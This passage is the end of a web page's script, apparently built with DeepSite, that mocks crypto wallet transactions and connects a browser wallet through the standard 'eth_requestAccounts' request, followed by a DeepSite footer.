return Promise.resolve(this.transactions);
}
};
// Wallet connect functionality (mock implementation)
async function connectWallet(provider) {
console.log(`Connecting to ${provider} wallet...`);
// In a real implementation, this would use Web3 or similar
try {
if (typeof window.ethereum !== 'undefined') {
const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
console.log('Connected wallet:', accounts[0]);
return accounts[0];
} else {
throw new Error('Wallet provider not detected');
}
} catch (error) {
console.error('Wallet connection error:', error);
throw error;
}
}
// Set up wallet connect buttons
document.querySelectorAll('.wallet-connect-modal button').forEach(button => {
button.addEventListener('click', async function() {
const provider = this.textContent.trim();
try {
const address = await connectWallet(provider);
alert(`Successfully connected wallet: ${address}`);
walletConnectModal.style.display = 'none';
overlay.style.display = 'none';
} catch (error) {
alert(`Could not connect to ${provider}: ${error.message}`);
}
});
});
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=FerryMahler/tt" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>